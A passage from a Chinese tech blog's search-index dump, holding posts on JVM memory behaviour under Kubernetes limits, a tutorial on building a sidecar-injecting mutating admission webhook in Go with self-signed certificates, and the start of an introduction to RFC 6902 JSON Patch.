554.00 MB INFO 326.00 MB 228.00 MB 554.00 MB INFO State cleared at ~ 350 MB. INFO Used Free Total INFO 378.00 MB 176.00 MB 554.00 MB INFO 430.00 MB 208.00 MB 638.00 MB INFO 482.00 MB 156.00 MB 638.00 MB INFO 534.00 MB 104.00 MB 638.00 MB INFO 586.00 MB 52.00 MB 638.00 MB INFO 638.00 MB 16.00 MB 654.00 MB INFO 690.00 MB 16.00 MB 706.00 MB INFO State cleared at ~ 350 MB. INFO Used Free Total INFO 742.00 MB 16.00 MB 758.00 MB INFO 794.00 MB 16.00 MB 810.00 MB INFO 846.00 MB 16.00 MB 862.00 MB INFO 899.00 MB 15.00 MB 914.00 MB INFO 951.00 MB 15.00 MB 966.00 MB INFO 1003.00 MB 15.00 MB 1018.00 MB INFO 1055.00 MB 15.00 MB 1070.00 MB ... ... 有趣的是,尽管状态已被清除并准备好进行垃圾回收,但可以看到使用的内存(第一列)仍在增长。为什么会这样呢?由于堆有足够的空间可以扩展,JVM 延迟了通常需要大量 CPU 资源的垃圾回收,并优化为服务主线程。让我们看看不同堆大小如何影响此行为。 ~ java -jar -Xmx380M app/build/libs/app.jar INFO Used Free Total INFO 19.00 MB 357.00 MB 376.00 MB INFO 70.00 MB 306.00 MB 376.00 MB INFO 121.00 MB 255.00 MB 376.00 MB INFO 172.00 MB 204.00 MB 376.00 MB INFO 208.00 MB 168.00 MB 376.00 MB INFO 259.00 MB 117.00 MB 376.00 MB INFO 310.00 MB 66.00 MB 376.00 MB INFO State cleared at ~ 350 MB. INFO Used Free Total INFO 55.00 MB 321.00 MB 376.00 MB INFO 106.00 MB 270.00 MB 376.00 MB INFO 157.00 MB 219.00 MB 376.00 MB INFO 208.00 MB 168.00 MB 376.00 MB INFO 259.00 MB 117.00 MB 376.00 MB INFO 310.00 MB 66.00 MB 376.00 MB INFO 361.00 MB 15.00 MB 376.00 MB INFO State cleared at ~ 350 MB. INFO Used Free Total INFO 55.00 MB 321.00 MB 376.00 MB INFO 106.00 MB 270.00 MB 376.00 MB INFO 157.00 MB 219.00 MB 376.00 MB INFO 208.00 MB 168.00 MB 376.00 MB INFO 259.00 MB 117.00 MB 376.00 MB INFO 310.00 MB 66.00 MB 376.00 MB INFO 361.00 MB 15.00 MB 376.00 MB INFO State cleared at ~ 350 MB. INFO Used Free Total INFO 55.00 MB 321.00 MB 376.00 MB INFO 106.00 MB 270.00 MB 376.00 MB INFO 157.00 MB 219.00 MB 376.00 MB INFO 208.00 MB 168.00 MB 376.00 MB ... ... 在这种情况下,我们分配了刚好足够的堆大小(380 MB)来处理请求。我们可以看到,在这些限制条件下,GC立即启动以避免可怕的内存不足错误。这是 JVM 的承诺 - 它将始终在由于内存不足而失败之前尝试进行垃圾回收。为了完整起见,让我们看一下它的实际效果: ~ java -jar -Xmx150M app/build/libs/app.jar INFO Used Free Total INFO 19.00 MB 133.00 MB 152.00 MB INFO 70.00 MB 82.00 MB 152.00 MB INFO 106.00 MB 46.00 MB 152.00 MB Exception in thread \"main\" ... ... Caused by: java.lang.OutOfMemoryError: Java heap space at com.dansiwiec.HeapDestroyerKt.blowHeap(HeapDestroyer.kt:28) at com.dansiwiec.HeapDestroyerKt.main(HeapDestroyer.kt:18) ... 8 more 对于 150 MB 的最大堆大小,进程无法处理 350MB 的工作负载,并且在堆被填满时失败,但在垃圾收集器尝试挽救这种情况之前不会失败。 我们也来看看 Metaspace 的大小。为此,我们将使用 jstat(为简洁起见省略了输出) ~ jstat -gc 35118 MU 4731.0 输出表明 Metaspace 利用率约为 5 MB。记住 Metaspace 负责存储类定义,作为实验,让我们将流行的 Spring Boot 框架添加到我们的应用程序中。 ~ jstat -gc 34643 MU 28198.6 Metaspace 跃升至近 30 MB,因为类加载器占用的空间要大得多。对于较大的应用程序,此空间占用超过 100 MB 的情况并不罕见。接下来让我们进入 Kubernetes 领域。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:2:2","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"Kubernetes 内存管理 Kubernetes 内存控制在操作系统级别运行,与管理分配给它的内存的 JVM 形成对比。K8s 内存管理机制的目标是确保工作负载被调度到资源充足的节点上,并将它们保持在一定的限制范围内。 在定义工作负载时,用户有两个参数可以操作 — requests 和 limits。这些是在容器级别定义的,但是,为了简单起见,我们将根据 pod 参数来考虑它,这些参数只是容器设置的总和。 当请求 pod 时,kube-scheduler(控制平面的一个组件)查看资源请求并选择一个具有足够资源的节点来容纳 pod。一旦调度,允许 pod 超过其内存requests(只要节点有空闲内存)但禁止超过其limits。 Kubelet(节点上的容器运行时)监视 pod 的内存利用率,如果超过内存限制,它将重新启动 pod 或在节点资源不足时将其完全从节点中逐出(有关更多详细信息,请参阅有关此主题的官方文档。这会导致臭名昭著的 OOMKilled(内存不足)的 pod 状态。 当 pod 保持在其限制范围内,但超出了节点的可用内存时,会出现一个有趣的场景。这是可能的,因为调度程序会查看 pod 的请求(而不是限制)以将其调度到节点上。在这种情况下,kubelet 会执行一个称为节点压力驱逐的过程。简而言之,这意味着 pod 正在终止,以便回收节点上的资源。根据节点上的资源状况有多糟糕,驱逐可能是软的(允许 pod 优雅地终止)或硬的。此场景如下图所示。 关于驱逐的内部运作,肯定还有很多东西需要了解。有关此复杂过程的更多信息,请点击此处。对于这个故事,我们就此打住,现在看看这两种机制 —— JVM 内存管理和 Kubernetes 是如何协同工作的。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:3:0","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"JVM 和 Kubernetes Java 10 引入了一个新的 JVM 标志 —— -XX:+UseContainerSupport(默认设置为 true),如果 JVM 在资源有限的容器环境中运行,它允许 JVM 检测可用内存和 CPU。该标志与 -XX:MaxRAMPercentage 一起使用,让我们根据总可用内存的百分比设置最大堆大小。在 Kubernetes 的情况下,容器上的 limits 设置被用作此计算的基础。例如 —— 如果 pod 具有 2GB 的限制,并且将 MaxRAMPercentage 标志设置为 75%,则结果将是 1500MB 的最大堆大小。 这需要一些技巧,因为正如我们之前看到的,Java 应用程序的总体内存占用量高于堆(还有 Metaspace 、线程、垃圾回收、APM 代理等)。这意味着,需要在最大堆空间、非堆内存使用量和 pod 限制之间取得平衡。具体来说,前两个的总和不能超过最后一个,因为它会导致 OOMKilled(参见上一节)。 为了观察这两种机制的作用,我们将使用相同的示例项目,但这次我们将把它部署在(本地)Kubernetes 集群上。为了在 Kubernetes 上部署应用程序,我们将其打包为一个 Pod: apiVersion: v1 kind: Pod metadata: name: heapkiller spec: containers: - name: heapkiller image: heapkiller imagePullPolicy: Never resources: requests: memory: \"500Mi\" cpu: \"500m\" limits: memory: \"500Mi\" cpu: \"500m\" env: - name: JAVA_TOOL_OPTIONS value: '-XX:MaxRAMPercentage=70.0' 快速复习第一部分 —— 我们确定应用程序需要至少 380MB的堆内存才能正常运行。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:4:0","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"场景 1 — Java Out Of Memory 错误 让我们首先了解我们可以操作的参数。它们是 — pod 内存的 requests 和 limits,以及 Java 的最大堆大小,在我们的例子中由 MaxRAMPercentage 标志控制。 在第一种情况下,我们将总内存的 70% 分配给堆。pod 请求和限制都设置为 500MB,这导致最大堆为 350MB(500MB 的 70%)。 我们执行 kubectl apply -f pod.yaml 部署 pod ,然后用 kubectl get logs -f pod/heapkiller 观察日志。应用程序启动后不久,我们会看到以下输出: INFO Started HeapDestroyerKt in 5.599 seconds (JVM running for 6.912) INFO Used Free Total INFO 17.00 MB 5.00 MB 22.00 MB ... INFO 260.00 MB 78.00 MB 338.00 MB ... Exception in thread \"main\" java.lang.reflect.InvocationTargetException Caused by: java.lang.OutOfMemoryError: Java heap space 如果我们执行 kubectl describe pod/heapkiller 拉出 pod 详细信息,我们将找到以下信息: Containers: heapkiller: .... State: Waiting Reason: CrashLoopBackOff Last State: Terminated Reason: Error Exit Code: 1 ... Events: Type Reason Age From Message ---- ------ ---- ---- ------- ... Warning BackOff 7s (x7 over 89s) kubelet Back-off restarting failed container 简而言之,这意味着 pod 以状态码 1 退出(Java Out Of Memory 的退出码),Kubernetes 将继续使用标准退避策略重新启动它(以指数方式增加重新启动之间的暂停时间)。下图描述了这种情况。 这种情况下的关键要点是 —— 如果 Java 因 OutOfMemory 错误而失败,您将在 pod 日志中看到它👌。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:4:1","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"场景 2 — Pod 超出内存 limit 限制 为了实现这个场景,我们的 Java 应用程序需要更多内存。我们将 MaxRAMPercentage 从 70% 增加到 90%,看看会发生什么。我们按照与之前相同的步骤并查看日志。该应用程序运行良好了一段时间: ... ... INFO 323.00 MB 83.00 MB 406.00 MB INFO 333.00 MB 73.00 MB 406.00 MB 然后 …… 噗。没有更多的日志。我们运行与之前相同的 describe 命令以获取有关 pod 状态的详细信息。 Containers: heapkiller: State: Waiting Reason: CrashLoopBackOff Last State: Terminated Reason: OOMKilled Exit Code: 137 Events: Type Reason Age From Message ---- ------ ---- ---- ------ ... ... Warning BackOff 6s (x7 over 107s) kubelet Back-off restarting failed container 乍看之下,这与之前的场景类似 —— pod crash,现在处于 CrashLoopBackOff(Kubernetes 一直在重启),但实际上却大不相同。之前,pod 中的进程退出(JVM 因内存不足错误而崩溃),在这种情况下,是 Kubernetes 杀死了 pod。该 OOMKill 状态表示 Kubernetes 已停止 pod,因为它已超出其分配的内存限制。这怎么可能? 通过将 90% 的可用内存分配给堆,我们假设其他所有内容都适合剩余的 10% (50MB),而对于我们的应用程序,情况并非如此,这导致内存占用超过 500MB 限制。下图展示了超出 pod 内存限制的场景。 要点 —— OOMKilled 在 pod 的状态中查找。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:4:2","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"场景 3 — Pod 超出节点的可用内存 最后一种不太常见的故障情况是 pod 驱逐。在这种情况下 — 内存request和limit是不同的。Kubernetes 根据request参数而不是limit参数在节点上调度 pod。如果一个节点满足请求,kube-scheduler将选择它,而不管节点满足限制的能力如何。在我们将 pod 调度到节点上之前,让我们先看一下该节点的一些详细信息: ~ kubectl describe node/docker-desktop Allocatable: cpu: 4 memory: 1933496Ki Allocated resources: (Total limits may be over 100 percent, i.e., overcommitted.) Resource Requests Limits -------- -------- ------ cpu 850m (21%) 0 (0%) memory 240Mi (12%) 340Mi (18%) 我们可以看到该节点有大约 2GB 的可分配内存,并且已经占用了大约 240MB(由kube-system pod,例如etcd和coredns)。 对于这种情况,我们调整了 pod 的参数 —— request: 500Mi(未更改),limit: 2500Mi 我们重新配置应用程序以将堆填充到 2500MB(之前为 350MB)。当 pod 被调度到节点上时,我们可以在节点描述中看到这种分配: Allocated resources: (Total limits may be over 100 percent, i.e., overcommitted.) Resource Requests Limits -------- -------- ------ cpu 1350m (33%) 500m (12%) memory 740Mi (39%) 2840Mi (150%) 当 pod 到达节点的可用内存时,它会被杀死,我们会在 pod 的描述中看到以下详细信息: ~ kubectl describe pod/heapkiller Status: Failed Reason: Evicted Message: The node was low on resource: memory. Containers: heapkiller: State: Terminated Reason: ContainerStatusUnknown Message: The container could not be located when the pod was terminated Exit Code: 137 Reason: OOMKilled 这表明由于节点内存不足,pod 被逐出。我们可以在节点描述中看到更多细节: ~ kubectl describe node/docker-desktop Events: Type Reason Age From Message ---- ------ ---- ---- ------- Warning SystemOOM 1s kubelet System OOM encountered, victim process: java, pid: 67144 此时,CrashBackoffLoop 开始,pod 不断重启。下图描述了这种情况。 关键要点 —— 在 pod 的状态中查找 Evicted 以及通知节点内存不足的事件。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:4:3","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"场景 4 — 参数配置良好,应用程序运行良好 最后一个场景显示应用程序在正确调整的参数下正常运行。为此,我们将pod 的request和 limit 都设置为 500MB,将 -XX:MaxRAMPercentage 设置为 80%。 让我们收集一些统计数据,以了解节点级别和更深层次的 Pod 中正在发生的情况。 ~ kubectl describe node/docker-desktop Allocated resources: (Total limits may be over 100 percent, i.e., overcommitted.) Resource Requests Limits -------- -------- ------ cpu 1350m (33%) 500m (12%) memory 740Mi (39%) 840Mi (44%) 节点看起来很健康,有空闲资源👌。让我们看看 pod 的内部。 # Run from within the container ~ cat /sys/fs/cgroup/memory.current 523747328 这显示了容器的当前内存使用情况。那是 499MB,就在边缘。让我们看看是什么占用了这段内存: # Run from within the container ~ ps -o pid,rss,command ax PID RSS COMMAND 1 501652 java -XX:NativeMemoryTracking=summary -jar /app.jar 36 472 /bin/sh 55 1348 ps -o pid,rss,command ax RSS,*Resident Set Size,*是对正在占用的内存进程的一个很好的估计。上面显示 490MB(501652 bytes)被 Java 进程占用。让我们再剥离一层,看看 JVM 的内存分配。我们传递给 Java 进程的标志 -XX:NativeMemoryTracking 允许我们收集有关 Java 内存空间的详细运行时统计信息。 ~ jcmd 1 VM.native_memory summary Total: reserved=1824336KB, committed=480300KB - Java Heap (reserved=409600KB, committed=409600KB) (mmap: reserved=409600KB, committed=409600KB) - Class (reserved=1049289KB, committed=4297KB) (classes #6760) ( instance classes #6258, array classes #502) (malloc=713KB #15321) (mmap: reserved=1048576KB, committed=3584KB) ( Metadata: ) ( reserved=32768KB, committed=24896KB) ( used=24681KB) ( waste=215KB =0.86%) ( Class space:) ( reserved=1048576KB, committed=3584KB) ( used=3457KB) ( waste=127KB =3.55%) - Thread (reserved=59475KB, committed=2571KB) (thread #29) (stack: reserved=59392KB, committed=2488KB) (malloc=51KB #178) (arena=32KB #56) - Code (reserved=248531KB, committed=14327KB) (malloc=800KB #4785) (mmap: reserved=247688KB, committed=13484KB) (arena=43KB #45) - GC (reserved=1365KB, committed=1365KB) (malloc=25KB #83) (mmap: reserved=1340KB, committed=1340KB) - Compiler (reserved=204KB, committed=204KB) (malloc=39KB #316) (arena=165KB #5) - Internal (reserved=283KB, committed=283KB) (malloc=247KB #5209) (mmap: reserved=36KB, committed=36KB) - Other (reserved=26KB, committed=26KB) (malloc=26KB #3) - Symbol (reserved=6918KB, committed=6918KB) (malloc=6206KB #163986) (arena=712KB #1) - Native Memory Tracking (reserved=3018KB, committed=3018KB) (malloc=6KB #92) (tracking overhead=3012KB) - Shared class space (reserved=12288KB, committed=12224KB) (mmap: reserved=12288KB, committed=12224KB) - Arena Chunk (reserved=176KB, committed=176KB) (malloc=176KB) - Logging (reserved=5KB, committed=5KB) (malloc=5KB #219) - Arguments (reserved=1KB, committed=1KB) (malloc=1KB #53) - Module (reserved=229KB, committed=229KB) (malloc=229KB #1710) - Safepoint (reserved=8KB, committed=8KB) (mmap: reserved=8KB, committed=8KB) - Synchronization (reserved=48KB, committed=48KB) (malloc=48KB #574) - Serviceability (reserved=1KB, committed=1KB) (malloc=1KB #14) - Metaspace (reserved=32870KB, committed=24998KB) (malloc=102KB #52) (mmap: reserved=32768KB, committed=24896KB) - String Deduplication (reserved=1KB, committed=1KB) (malloc=1KB #8) 这可能是不言而喻的 —— 这个场景仅用于说明目的。在现实生活中的应用程序中,我不建议使用如此少的资源进行操作。您所感到舒适的程度将取决于您可观察性实践的成熟程度(换句话说——您多快注意到有问题),工作负载的重要性以及其他因素,例如故障转移。 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:4:4","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"结语 感谢您坚持阅读这篇长文章!我想提供一些建议,帮助您远离麻烦: 设置内存的 request 和 limit 一样,这样你就可以避免由于节点资源不足而导致 pod 被驱逐(缺点就是会导致节点资源利用率降低)。 仅在出现 Java OutOfMemory 错误时增加 pod 的内存限制。如果发生 OOMKilled 崩溃,请将更多内存留给非堆使用。 将最大和初始堆大小设置为相同的值。这样,您将在堆分配增加的情况下防止性能损失,并且如果堆百分比/非堆内存/pod 限制错误,您将“快速失败”。有关此建议的更多信息,请点击此处。 Kubernetes 资源管理和 JVM 内存区域的主题很深,本文只是浅尝辄止。以下是另外一些参考资料: https://learnk8s.io/setting-cpu-memory-limits-requests https://srvaroa.github.io/jvm/kubernetes/memory/docker/oomkiller/2019/05/29/k8s-and-java.html https://home.robusta.dev/blog/kubernetes-memory-limit https://forums.oracle.com/ords/r/apexds/community/q?question=best-practices-java-memory-arguments-for-containers-7408 文本翻译自: https://danoncoding.com/tricky-kubernetes-memory-management-for-java-applications-d2f88dd4e9f6 ","date":"2023-04-23","objectID":"/k8s-memory-management-for-java-applications/:5:0","tags":["Kubernetes","Java"],"title":"Java 应用程序在 Kubernetes 上棘手的内存管理","uri":"/k8s-memory-management-for-java-applications/"},{"categories":["Kubernetes"],"content":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Kubernetes"],"content":"Admission Controller Kubernetes Admission Controller(准入控制器)是什么? 如下图所示: 当我们向 k8s api-server 提交了请求之后,需要经过认证鉴权、mutation admission、validation 校验等一系列过程,最后才会将资源对象持久化到 etcd 中(其它组件诸如 controller 或 scheduler 等操作的也是持久化之后的对象)。而所谓的 Kubernetes Admission Controller 其实就是在这个过程中所提供的 webhook 机制,让用户能够在资源对象被持久化之前任意地修改资源对象并进行自定义的校验。 使用 Kubernetes Admission Controller ,你可以: 安全性:强制实施整个命名空间或集群范围内的安全规范。例如,禁止容器以root身份运行或确保容器的根文件系统始终以只读方式挂载;只允许从企业已知的特定注册中心拉取镜像,拒绝未知的镜像源;拒绝不符合安全标准的部署。 治理:强制遵守某些实践,例如具有良好的标签、注释、资源限制或其他设置。一些常见的场景包括:在不同的对象上强制执行标签验证,以确保各种对象使用适当的标签,例如将每个对象分配给团队或项目,或指定应用程序标签的每个部署;自动向对象添加注释。 配置管理:验证集群中对象的配置,并防止任何明显的错误配置影响到您的集群。准入控制器可以用于检测和修复部署了没有语义标签的镜像,例如:自动添加资源限制或验证资源限制;确保向Pod添加合理的标签;确保在生产部署的镜像不使用 latest tag 或带有 -dev 后缀的 tag。 Admission Controller(准入控制器)提供了两种 webhook: Mutation admission webhook:修改资源对象 Validation admission webhook:校验资源对象 所谓的 webhook 其实就是你需要部署一个 HTTPS Server ,然后 k8s 会将 admission 的请求发送给你的 server,当然你的 server 需要按照约定格式返回响应。 使用 Kubernetes Admission Controller,你需要: 确保 k8s 的 api-server 开启 admission plugins。 准备好 TLS/SSL 证书,用于 HTTPS,可以是自签的。 构建自己的 HTTPS server,实现处理逻辑。 配置 MutatingWebhookConfiguration 或者 ValidatingWebhookConfiguration,你得告诉 k8s 怎么跟你的 server 通信。 ","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/:1:0","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Kubernetes"],"content":"注入 sidacar 示例 接下来,我们来实现一个最简单的为 pod 注入 sidacar 的示例。 ","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/:2:0","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Kubernetes"],"content":"1. 确保 k8s 的 api-server 开启 admission plugins 首先需要确认你的 k8s 集群支持 admission controller 。 执行 kubectl api-resources | grep admission: mutatingwebhookconfigurations admissionregistration.k8s.io/v1 false MutatingWebhookConfiguration validatingwebhookconfigurations admissionregistration.k8s.io/v1 false ValidatingWebhookConfiguration 得到以上结果就说明你的 k8s 集群支持 admission controller。 然后需要确认 api-server 开启 admission plugins,根据你的 api-server 的启动方式,确认如下参数: --enable-admission-plugins=MutatingAdmissionWebhook,ValidatingAdmissionWebhook plugins 可以有多个,用逗号分隔,本示例其实只需要 MutatingAdmissionWebhook,至于其它的 plugins 用途请参考官方文档。 ","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/:2:1","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Kubernetes"],"content":"2. 准备 TLS/SSL 证书 这里我们使用自签的证书,先创建一个证书目录,比如 ~/certs,以下操作都在这个目录下进行。 创建我们自己的 root CA openssl genrsa -des3 -out rootCA.key 4096 openssl req -x509 -new -nodes -key rootCA.key -sha256 -days 1024 -out rootCA.crt 创建证书 openssl genrsa -out mylocal.com.key 2048 openssl req -new -key mylocal.com.key -out mylocal.com.csr 使用我们自己的 root CA 去签我们的证书 注意:由于我们会把 HTTPS server 部署在本地进行测试,所以我们在签名的时候要额外指定自己的内网IP。 echo subjectAltName = IP:192.168.100.22 \u003e extfile.cnf openssl x509 -req -in mylocal.com.csr \\ -CA rootCA.crt -CAkey rootCA.key \\ -CAcreateserial -out mylocal.com.crt \\ -days 500 -extfile extfile.cnf 执行完后你会得到以下文件: rootCA.key:根 CA 私钥 rootCA.crt:根 CA 证书(后面 k8s 需要用到) rootCA.srl:追踪发放的证书 mylocal.com.key:自签域名的私钥(HTTPS server 需要用到) mylocal.com.csr:自签域名的证书签名请求文件 mylocal.com.crt:自签域名的证书(HTTPS server 需要用到) ","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/:2:2","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Kubernetes"],"content":"3. 构建自己的 HTTPS Server Webhook 的请求和响应都要是 JSON 格式的 AdmissionReview 对象。 注意:AdmissionReview v1 版本和 v1beta1 版本有区别,我们这里使用 v1 版本。 // AdmissionReview describes an admission review request/response. type AdmissionReview struct { metav1.TypeMeta `json:\",inline\"` // Request describes the attributes for the admission request. // +optional Request *AdmissionRequest `json:\"request,omitempty\" protobuf:\"bytes,1,opt,name=request\"` // Response describes the attributes for the admission response. // +optional Response *AdmissionResponse `json:\"response,omitempty\" protobuf:\"bytes,2,opt,name=response\"` } 我们需要处理的逻辑其实就是解析 AdmissionRequest,然后构造 AdmissionResponse 最后返回响应。 // AdmissionResponse describes an admission response. type AdmissionResponse struct { // UID is an identifier for the individual request/response. // This must be copied over from the corresponding AdmissionRequest. UID types.UID `json:\"uid\" protobuf:\"bytes,1,opt,name=uid\"` // Allowed indicates whether or not the admission request was permitted. Allowed bool `json:\"allowed\" protobuf:\"varint,2,opt,name=allowed\"` // The patch body. Currently we only support \"JSONPatch\" which implements RFC 6902. // +optional Patch []byte `json:\"patch,omitempty\" protobuf:\"bytes,4,opt,name=patch\"` // The type of Patch. Currently we only allow \"JSONPatch\". // +optional PatchType *PatchType `json:\"patchType,omitempty\" protobuf:\"bytes,5,opt,name=patchType\"` // ... } AdmissionResponse 中的 PatchType 字段必须是 JSONPatch,Patch 字段必须是 rfc6902 JSON Patch 格式。 我们使用 go 编写一个最简单的 HTTPS Server 示例如下,该示例会修改 pod 的 spec.containers 数组,向其中追加一个 sidecar 容器: package main import ( \"encoding/json\" \"log\" \"net/http\" v1 \"k8s.io/api/admission/v1\" corev1 \"k8s.io/api/core/v1\" ) // patchOperation is an operation of a JSON patch, see https://tools.ietf.org/html/rfc6902 . type patchOperation struct { Op string `json:\"op\"` Path string `json:\"path\"` Value interface{} `json:\"value,omitempty\"` } var ( certFile = \"/Users/wy/certs/mylocal.com.crt\" keyFile = \"/Users/wy/certs/mylocal.com.key\" ) func main() { http.HandleFunc(\"/\", func(w http.ResponseWriter, req *http.Request) { defer req.Body.Close() var admissionReview v1.AdmissionReview err := json.NewDecoder(req.Body).Decode(\u0026admissionReview) if err != nil { log.Fatal(err) } var patches []patchOperation patches = append(patches, patchOperation{ Op: \"add\", Path: \"/spec/containers/-\", Value: \u0026corev1.Container{ Image: \"busybox\", Name: \"sidecar\", }, }) patchBytes, err := json.Marshal(patches) if err != nil { log.Fatal(err) } var PatchTypeJSONPatch v1.PatchType = \"JSONPatch\" admissionReview.Response = \u0026v1.AdmissionResponse{ UID: admissionReview.Request.UID, Allowed: true, Patch: patchBytes, PatchType: \u0026PatchTypeJSONPatch, } // Return the AdmissionReview with a response as JSON. bytes, err := json.Marshal(\u0026admissionReview) if err != nil { log.Fatal(err) } w.Write(bytes) }) log.Printf(\"About to listen on 8443. Go to https://127.0.0.1:8443/\") err := http.ListenAndServeTLS(\":8443\", certFile, keyFile, nil) log.Fatal(err) } ","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/:2:3","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Kubernetes"],"content":"4. 配置 MutatingWebhookConfiguration 我们需要告诉 k8s 往哪里发送请求以及其它信息,这就需要配置 MutatingWebhookConfiguration。 apiVersion: admissionregistration.k8s.io/v1 kind: MutatingWebhookConfiguration metadata: name: test-sidecar-injector webhooks: - name: sidecar-injector.mytest.io admissionReviewVersions: - v1 # 版本一定要与 HTTPS Server 处理的版本一致 sideEffects: \"NoneOnDryRun\" reinvocationPolicy: \"Never\" timeoutSeconds: 30 objectSelector: # 选择特定资源触发 webhook matchExpressions: - key: run operator: In values: - \"nginx\" rules: # 触发规则 - apiGroups: - \"\" apiVersions: - v1 operations: - CREATE resources: - pods scope: \"*\" clientConfig: caBundle: ${CA_PEM_B64} url: https://192.168.100.22:8443/ # 指向我本地的IP地址 # service: # 如果把 server 部署到集群内部则可以通过 service 引用 其中的 ${CA_PEM_B64} 需要填入第一步的 rootCA.crt 文件的 base64 编码,我们可以执行以下命令得到: openssl base64 -A -in rootCA.crt 在上例中,我们还配置了 webhook 触发的资源要求和规则,比如这里的规则是创建 pods 并且 pod 的 labels 标签必须满足 matchExpressions 。 最后测试,我们可以执行 kubectl run nginx --image=nginx,成功之后再查看提交的 pod ,你会发现 containers 中包含有我们注入的 sidecar 。 ","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/:2:4","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Kubernetes"],"content":"结语 通过本文相信你已经了解了 Admission Controller 的基本使用过程,诸多开源框架,比如 Istio 等也广泛地使用了 Admission Controller。 ","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/:3:0","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Uncate"],"content":"什么?修改 JSON 内容居然还有个 JSON PATCH 标准","date":"2023-04-07","objectID":"/rfc6902-json-patch/","tags":["RFC 标准","Kubernetes"],"title":"什么?修改 JSON 内容居然还有个 JSON PATCH 标准","uri":"/rfc6902-json-patch/"},{"categories":["Uncate"],"content":"引言 你一定知道 JSON 吧,那专门用于修改 JSON 内容的 JSON PATCH 标准你是否知道呢? RFC 6902 就定义了这么一种 JSON PATCH 标准,本文将对其进行介绍。 ","date":"2023-04-07","objectID":"/rfc6902-json-patch/:1:0","tags":["RFC 标准","Kubernetes"],"title":"什么?修改 JSON 内容居然还有个 JSON PATCH 标准","uri":"/rfc6902-json-patch/"},{"categories":["Uncate"],"content":"JSON PATCH JSON Patch 本身也是一种 JSON 文档结构,用于表示要应用于 JSON 文档的操作序列;它适用于 HTTP PATCH 方法,其 MIME 媒体类型为 \"application/json-patch+json\"。 这句话也许不太好理解,我们先看一个例子: PATCH /my/data HTTP/1.1 Host: example.org Content-Length: 326 Content-Type: application/json-patch+json If-Match: \"abc123\" [ { \"op\": \"test\", \"path\": \"/a/b/c\", \"value\": \"foo\" }, { \"op\": \"remove\", \"path\": \"/a/b/c\" }, { \"op\": \"add\", \"path\": \"/a/b/c\", \"value\": [ \"foo\", \"bar\" ] }, { \"op\": \"replace\", \"path\": \"/a/b/c\", \"value\": 42 }, { \"op\": \"move\", \"from\": \"/a/b/c\", \"path\": \"/a/b/d\" }, { \"op\": \"copy\", \"from\": \"/a/b/d\", \"path\": \"/a/b/e\" } ] 这个 HTTP 请求的 body 也是 JSON 格式(JSON PATCH 本身也是一种 JSON 结构),但是这个 JSON 格式是有具体规范的(只能按照标准去定义要应用于 JSON 文档的操作序列)。 具体而言,JSON Patch 的数据结构就是一个 JSON 对象数组,其中每个对象必须声明 op 去定义将要执行的操作,根据 op 操作的不同,需要对应另外声明 path、value 或 from 字段。 再例如, 原始 JSON : { \"a\": \"aaa\", \"b\": \"bbb\" } 应用如下 JSON PATCH : [ { \"op\": \"replace\", \"path\": \"/a\", \"value\": \"111\" }, { \"op\": \"remove\", \"path\": \"/b\" } ] 得到的结果为: { \"a\": \"111\" } 需要注意的是: patch 对象中的属性没有顺序要求,比如 { \"op\": \"remove\", \"path\": \"/b\" } 与 { \"path\": \"/b\", \"op\": 